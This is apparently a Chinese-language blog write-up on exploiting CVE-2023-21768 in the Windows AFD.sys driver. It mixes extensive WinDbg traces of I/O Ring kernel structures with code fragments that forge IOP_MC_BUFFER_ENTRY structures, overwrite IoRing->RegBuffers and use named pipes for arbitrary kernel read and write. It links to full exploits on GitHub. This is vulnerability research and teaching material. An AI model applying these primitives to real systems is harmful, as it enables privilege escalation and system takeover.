等到NtCreateIoRing初始化完成就可以看到了,使用!object可以自动找到对应的Object的Header部分,但是 _IORING_OBJECT是在body部分

3: kd> !object ffff9f82`2dac18f0
Object: ffff9f822dac18f0 Type: (ffff9f822dc36400) IoRing
ObjectHeader: ffff9f822dac18c0 (new version)
HandleCount: 1 PointerCount: 1

使用标志符看看

3: kd> dt nt!_IORING_OBJECT ffff9f822dac18f0
+0x000 Type : 0n14
+0x002 Size : 0n208
+0x008 UserInfo : _NT_IORING_INFO
+0x038 Section : 0xffffb203`3b065ad0 Void
+0x040 SubmissionQueue : 0xfffff804`8e7e0000 _NT_IORING_SUBMISSION_QUEUE
+0x048 CompletionQueueMdl : 0xffff9f82`348518c0 _MDL
+0x050 CompletionQueue : 0xffffe780`a217e250 _NT_IORING_COMPLETION_QUEUE
+0x058 ViewSize : 0x1000
+0x060 InSubmit : 0n0
+0x068 CompletionLock : 0
+0x070 SubmitCount : 0
+0x078 CompletionCount : 0
+0x080 CompletionWaitUntil : 0
+0x088 CompletionEvent : _KEVENT
+0x0a0 SignalCompletionEvent : 0 ''
+0x0a8 CompletionUserEvent : (null)
+0x0b0 RegBuffersCount : 0
+0x0b8 RegBuffers : (null)
+0x0c0 RegFilesCount : 0
+0x0c8 RegFiles : (null)
3: kd> dt _NT_IORING_INFO 0xffff9f822dac18f8
nt!_NT_IORING_INFO
+0x000 IoRingVersion : 1 ( IORING_VERSION_1 )
+0x004 Flags : _NT_IORING_CREATE_FLAGS
+0x00c SubmissionQueueSize : 8
+0x010 SubmissionQueueRingMask : 7
+0x014 CompletionQueueSize : 0x10
+0x018 CompletionQueueRingMask : 0xf
+0x020 SubmissionQueue : 0x000001d8`73080000 _NT_IORING_SUBMISSION_QUEUE
+0x028 CompletionQueue : 0x000001d8`73080250 _NT_IORING_COMPLETION_QUEUE

image-20260523123001479

现在attach到ring3看看返回的HIORING handle

typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info{
ULONG Version;
IORING_CREATE_FLAGS Flags;
ULONG SubmissionQueueSize;
ULONG SubQueueSizeMask;
ULONG CompletionQueueSize;
ULONG CompQueueSizeMask;
PIORING_QUEUE_HEAD SubQueueBase;
PVOID CompQueueBase;
}
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID FileHandleArray;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
} HIORING, *PHIORING;

内存中如下,并且SubQueueHeadSubQueueTail和内核中Info记录的ring3的提交(SubmissionQueue)与完成(CompletionQueue)队列是相同的

3: kd> dq rsp+68+10 L1
0000008c`88cffca8 000001d8`730a16e0
3: kd> dq 000001d8`730a16e0
000001d8`730a16e0 00000000`000000e8 00000000`00000001
000001d8`730a16f0 00000008`00000000 00000010`00000007
000001d8`730a1700 00000000`0000000f 000001d8`73080000
000001d8`730a1710 000001d8`73080250 00000000`00000001
000001d8`730a1720 ffffffff`ffffffff ffffffff`ffffffff
000001d8`730a1730 ffffffff`ffffffff 00000000`00000000
000001d8`730a1740 00000000`00000000 00000000`00000000
000001d8`730a1750 00000000`00000000 00000000`00000000

并且handle上的0xe8值能找到刚才找到的内核对象

image-20260523132004543

等到BuildIoRingReadFile后,在这个Ring3上建立了一个操作:使用 I/O 通道从文件执行异步读取。说人话就是常见了一个任务到ring3的SubmissionQueue上,也就是这里的:0x000001d873080000

3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0x000001d8`73080000
nt!_NT_IORING_SUBMISSION_QUEUE
+0x000 Head : 0 //循环队列为空
+0x004 Tail : 0 //循环队列为空
+0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE )
+0x010 Entries : [1] _NT_IORING_SQE

刚刚创建的SQE就是

3: kd> dt _NT_IORING_SQE 0x1d873080010
nt!_NT_IORING_SQE
+0x000 OpCode : 1 ( IORING_OP_READ )
+0x004 Flags : 0 ( NT_IORING_SQE_FLAG_NONE )
+0x008 UserData : 0
+0x008 PaddingUserDataForWow : 0
+0x010 Read : _NT_IORING_OP_READ
+0x010 RegisterFiles : _NT_IORING_OP_REGISTER_FILES
+0x010 RegisterBuffers : _NT_IORING_OP_REGISTER_BUFFERS
+0x010 Cancel : _NT_IORING_OP_CANCEL
+0x010 Write : _NT_IORING_OP_WRITE
+0x010 Flush : _NT_IORING_OP_FLUSH
+0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED

关于四种操作类型[10]中的 I/O环操作代码 部分讲的很详细了,我们的IORING_OP_READ就类似于

image-20260523140009805

3: kd> dt _NT_IORING_OP_RESERVED 0x1d873080000+10
nt!_NT_IORING_OP_RESERVED
+0x000 Argument1 : 1 //Operation
+0x008 Argument2 : 0
+0x010 Argument3 : 0
+0x018 Argument4 : 0xec //FileRef(HANDLE)
+0x020 Argument5 : 0x000001d8`73260000 //Ring3中设置的Output Buffer
+0x028 Argument6 : 0

3: kd> !object ffff9f8234602500 //上面的FileRef的HANDLE找到的内核对象
//符合代码逻辑
Object: ffff9f8234602500 Type: (ffff9f822dc36c40) File
ObjectHeader: ffff9f82346024d0 (new version)
HandleCount: 1 PointerCount: 1
Directory Object: 00000000 Name: \Windows\System32\notepad.exe {HarddiskVolume3}

3: kd> dq 0x000001d8`73260000 //Output Buffer 还没有效果
000001d8`73260000 ????????`???????? ????????`????????
000001d8`73260010 ????????`???????? ????????`????????
000001d8`73260020 ????????`???????? ????????`????????
000001d8`73260030 ????????`???????? ????????`????????
000001d8`73260040 ????????`???????? ????????`????????
000001d8`73260050 ????????`???????? ????????`????????
000001d8`73260060 ????????`???????? ????????`????????
000001d8`73260070 ????????`???????? ????????`????????

现在进行SubmitIoRing,提交过后循环队列中的Head和Tail就应该不为0了,说明此时的队列有任务

//提交队列
3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0x000001d8`73080000
nt!_NT_IORING_SUBMISSION_QUEUE
+0x000 Head : 1
+0x004 Tail : 1
+0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE )
+0x010 Entries : [1] _NT_IORING_SQE
3: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff8048e7e0010
nt!_NT_IORING_SUBMISSION_QUEUE
+0x000 Head : 1
+0x004 Tail : 0
+0x008 Flags : 0 ( NT_IORING_SQ_FLAG_NONE )
+0x010 Entries : [1] _NT_IORING_SQE

//完成队列
3: kd> dt _NT_IORING_COMPLETION_QUEUE 0x1d873080250
nt!_NT_IORING_COMPLETION_QUEUE
+0x000 Head : 0
+0x004 Tail : 1
+0x008 Entries : [1] _NT_IORING_CQE
3: kd> dt _NT_IORING_COMPLETION_QUEUE 0xffffe780`a217e250
nt!_NT_IORING_COMPLETION_QUEUE
+0x000 Head : 0
+0x004 Tail : 1
+0x008 Entries : [1] _NT_IORING_CQE

同时Output Buffer已经有值了

3: kd> dq 0x000001d8`73260000
000001d8`73260000 00000003`00905a4d 0000ffff`00000004
000001d8`73260010 00000000`000000b8 00000000`00000040
000001d8`73260020 00000000`00000000 00000000`00000000
000001d8`73260030 00000000`00000000 000000f0`00000000
000001d8`73260040 cd09b400`0eba1f0e 685421cd`4c01b821
000001d8`73260050 72676f72`70207369 6f6e6e61`63206d61
000001d8`73260060 6e757220`65622074 20534f44`206e6920
000001d8`73260070 0a0d0d2e`65646f6d 00000000`00000024

image-20260523143421771

效果一致。

最后再总结一下就是

image-20260523143642894

IO Ring 利用

和我们这里写exp相关的是操作码是IORING_OP_REGISTERED_BUFFERS:请求预先注册用于读取文件数据的输出缓冲区。在这种情况下,Buffer条目中的字段应包含一个IORING_BUFFER_INFO结构体数组,用于描述将要读取文件数据的缓冲区的地址和大小:

typedef struct _IORING_BUFFER_INFO
{
PVOID Address;
ULONG Length;
} IORING_BUFFER_INFO, *PIORING_BUFFER_INFO;

缓冲区地址和大小将被复制到一个新数组中,并放入BufferArray提交队列的相应字段中。该BuffersRegistered字段将包含缓冲区的数量。

image-20260523152111381

根据[11]的分析

应用程序可以执行的操作之一是为其未来的 I/O 操作分配所有缓冲区,然后将它们注册到 I/O 环中。

请求处理过程中,会发生以下情况:

  1. IoRingObject->RegBuffersIoRingObject->RegBuffersCount设置为零。
  2. 有效值验证:内核验证了这Sqe->RegisterBuffers.BuffersSqe->RegisterBuffers.Count两个值都不为零。
  3. 数组大小验证:如果请求来自用户模式,则会探测数组以验证它是否完全位于用户模式地址空间中。数组大小最大可达sizeof(ULONG)
  4. 重复注册问题:如果环之前有一个预注册的缓冲区数组,并且新缓冲区的大小与旧缓冲区的大小相同,则将旧缓冲区数组放回环中,并忽略新缓冲区。
  5. 设置新的buffer:如果前面的检查通过并且要使用新的缓冲区数组,则会进行新的分页池分配——这将用于从用户模式数组复制数据,并将由 指向IoRingObject->RegBuffers
  6. 如果之前 I/O 环指向过已注册的缓冲区数组,则会将其复制到新的内核数组中。任何新的缓冲区都会添加到同一分配区域,位于旧缓冲区之后。
  7. 从用户模式发送的数组中的每个条目都会被探测,以验证请求的缓冲区是否完全处于用户模式,然后被复制到内核数组。
  8. 旧的内核数组(如果存在)将被释放,操作完成。

任意内核写入让IoRing->RegBuffers指向伪造的、用户控制的数组。也就是说我们控制内核IORingObject->BufferArray索引,会影响最终内存地址的取值,例如:IORING_BUFFER_INFO[IORingObject->BufferArray],如果这里的IORingObject->BufferArray=2,那么最终的OutputBuffer就是 Buffer[2]->Address

image-20260523152111381

根据[11]中的说法我们可以控制IORING_BUFFER_INFO数组,而且你可以不适用命名管道而是使用文件HANDLE也行

最初我的简陋方案依赖于文件的读写操作,但 Alex 建议改用命名管道,这更酷炫,也更隐蔽,不会在磁盘上留下任何痕迹。因此,本文的其余部分以及漏洞利用代码都将使用命名管道。

  1. 创建两个命名管道CreateNamedPipe:一个用于任意内核写入操作的输入,另一个用于任意内核读取操作的输出。至少用作输入的管道应该使用PIPE_ACCESS_DUPLEX允许读写的标志创建。PIPE_ACCESS_DUPLEX为了方便起见,我选择同时使用这两个标志创建管道。
  2. 打开两个管道的客户端句柄CreateFile,并赋予它们读写权限。
  3. 创建 I/O 环:这可以通过CreateIoRingAPI 实现。
  4. 在堆中分配一个假的缓冲区数组:从正式22H2版本开始,注册的缓冲区数组不再是扁平数组,而是IOP_MC_BUFFER_ENTRY结构体数组,因此这变得稍微复杂一些。关于buffer地址我们可以使用VirtualAllocate在Ring3某个具体地址创建一个伪造的buffer,例如VirtualAllocate(0x12345678)返回的buffer地址就在0x12345678。这方便了我们使用任意地址写1来创造可控buffer。
  5. 找到新创建的 I/O 环对象的地址。
  6. 使用你偏好的任意写入错误来覆盖IoRing->RegBuffers伪造的用户模式数组的地址。请注意,如果你之前没有注册有效的缓冲区数组,你还需要覆盖它IoRing->RegBuffersCount以确保其值为非零值。
  7. 用内核指针填充伪缓冲区数组,以便进行读写操作
  8. BuildIoRingReadFile通过 I/O 环对队列进行读写操作BuildIoRingWriteFile

图片来源于[12],你也可以参考[9]中讲的更具体的、更针对这个漏洞的利用流程

image-20260523153738802

编写利用注意事项

三年前的洞了,很多人都写过EXP,写EXP这方面就算再不会也得抄一遍,然后再把自己的东西融进去,这样对漏洞利用的理解就比较深刻了

  1. 创建ioring的时候注意队列的大小和测试的时候不一样

    // poc的代码
    result = CreateIoRing(IORING_VERSION_1, flags, 1, 1, &handle);
    if (!SUCCEEDED(result))
    {
    printf("Failed creating IO ring handle: 0x%x\n", result);
    goto Exit;
    }
    ////////////////////////////////////////////
    // exp的代码
    ioResult = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &ioRingHandle);
    if (!SUCCEEDED(ioResult))
    {
    printf("Failed creating IO ring handle: 0x%x\n", ioResult);
    return false;
    }
  2. 关于VirtualAlloc的申请技术,这个利用在很多地方,只要是合法的申请第一个lpAddr就一定能在上面,如果如覆写的第四位为0x1,相应的太高地址为0x10000000就好了。最重要的是保持ring3和ring0中对应的buffer都是同一个内存。这个基础在大堆块的溢出中也有使用。

    LPVOID buffer = VirtualAlloc((LPVOID)ring3Addr, sizeof(PVOID), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (buffer == NULL) {
    printf("[x] Error when alloc buffer\n");
    exit(1);
    }
    //...
    auto ioRingPtr = (_HIORING*)ioRingHandle;
    ioRingPtr->RegBufferArray = buffer;
    ioRingPtr->BufferArraySize = 1;
    PIORING_OBJECT ioringKernelPtr = reinterpret_cast<PIORING_OBJECT>(ioRingKernelAddr);
    writeVuln(reinterpret_cast<ULONG_PTR>(&(ioringKernelPtr->RegBuffersCount)), 1);
    writeVuln(reinterpret_cast<ULONG_PTR>(&(ioringKernelPtr->RegBuffers)) + 3, 1); //写到内存中依旧是buffer值
    printf("[+]all buffer sets\n");
  3. 伪造BufferArraypMcBufferEntry结构体。主要是windows在22H2上修改了一下_IORING_BUFFER_INFO这个结构体的内容,变为了_IOP_MC_BUFFER_ENTRY[11],原来的内容被放到了AddressLength,如果是自己探索的话写个demo看下值即可。编写exp的时候参考[11]就行了。

    typedef struct _IOP_MC_BUFFER_ENTRY
    {
    USHORT Type;
    USHORT Reserved;
    ULONG Size;
    ULONG ReferenceCount;
    ULONG Flags;
    LIST_ENTRY GlobalDataLink;
    PVOID Address;
    ULONG Length;
    CHAR AccessMode;
    ULONG MdlRef;
    PMDL Mdl;
    KEVENT MdlRundownEvent;
    PULONG64 PfnArray;
    IOP_MC_BE_PAGE_NODE PageNodes[1];
    } IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;

    mcBufferEntry->Address = TargetAddress;
    mcBufferEntry->Length = Length;
    mcBufferEntry->Type = 0xc02;
    mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
    mcBufferEntry->AccessMode = 1;
    mcBufferEntry->ReferenceCount = 1;

    任意写的时候,先将内容通过serverpipe写到管道中,然后通过clientpipe,不使用ReadFile而是BuildIoRingReadFile从管道中读取。ioring就会从pipe管道中读取pMcBufferEntry->lenpMcBufferEntry->Address ,所以需要先将内容写入到管道

    //BuildIoRingReadFile | BuildIoRingWriteFile
    HRESULT BuildIoRingReadFile(
    HIORING ioRing,
    IORING_HANDLE_REF fileRef, // 指定要读取的文件 的IORING_HANDLE_REF
    IORING_BUFFER_REF dataRef, // 指定读取文件的缓冲区的 IORING_BUFFER_REF
    UINT32 numberOfBytesToRead, //要读取的字节数
    UINT64 fileOffset, //要开始读取的文件的偏移
    UINT_PTR userData,
    IORING_SQE_FLAGS sqeFlags
    );

    status = WriteFile(hWPipeServer, writeBuffer, len, NULL, NULL); //写入内容到管道
    reinterpret_cast<PULONGLONG>(pBuffer)[0] = (ULONGLONG)pMcBufferEntry; //从管道中读取到 ioring的buffer
    status = BuildIoRingReadFile(
    ioring,
    IoRingHandleRefFromHandle(hWPipeClient),
    IoRingBufferRefFromIndexAndOffset(0, 0),
    len,
    0,
    NULL,
    IOSQE_FLAGS_NONE);

    任意读的时候,ioring就会从pMcBufferEntry->Address 写入pMcBufferEntry->len到管道内

    reinterpret_cast<PULONGLONG>(pBuffer)[0] = (ULONGLONG)pMcBufferEntry;
    status = BuildIoRingWriteFile(
    ioring,
    IoRingHandleRefFromHandle(hRPipeClient),
    IoRingBufferRefFromIndexAndOffset(0, 0),
    len,
    0,
    FILE_WRITE_FLAGS_NONE,
    NULL,
    IOSQE_FLAGS_NONE);

写exp总有种做作业的感觉,写一下我找的参考答案吧

https://github.com/zoemurmure/CVE-2023-21768-AFD-for-WinSock-EoP-exploit

https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768

https://bbs.kanxue.com/thread-277016-1.htm#msg_header_h3_12

我的完整exp+调试过程代码在:https://github.com/Joe1sn/CVE_2023_21768

image-20260523180905944

引用

[1] WinSock 的 Windows 辅助功能驱动程序特权提升漏洞 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21768

[2] https://catalog.update.microsoft.com/Search.aspx?q=KB5022303

[3] joxeankoret/diaphora https://github.com/joxeankoret/diaphora

[4] 安利一个IDA插件diaphora,可以将函数名、注释、结构体等的先前版本移植到新版本 https://www.cnblogs.com/ciyze0101/p/10906162.html

[5] DRIVER_OBJECT结构 https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/ns-wdm-_driver_object

[6] Under the Hood of AFD.sys Part 1: Investigating Undocumented Interfaces https://leftarcode.com/posts/afd-reverse-engineering-part1/

[7] ObReferenceObjectByHandle 函数 (wdm.h) https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-obreferenceobjectbyhandle

[8] Windows Internals, Part 1 https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows System Internals 7e Part 1.pdf

[9] Patch Tuesday → Exploit Wednesday: Pwning Windows ancillary function driver for WinSock (afd.sys) in 24 hours https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock

[10] I/O Rings – When One I/O Operation is Not Enough https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/

[11] One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

[12] CVE-2023-21768 AFD for WinSock 提权漏洞利用思路探索 https://www.zoemurmure.top/posts/cve_2023_21768/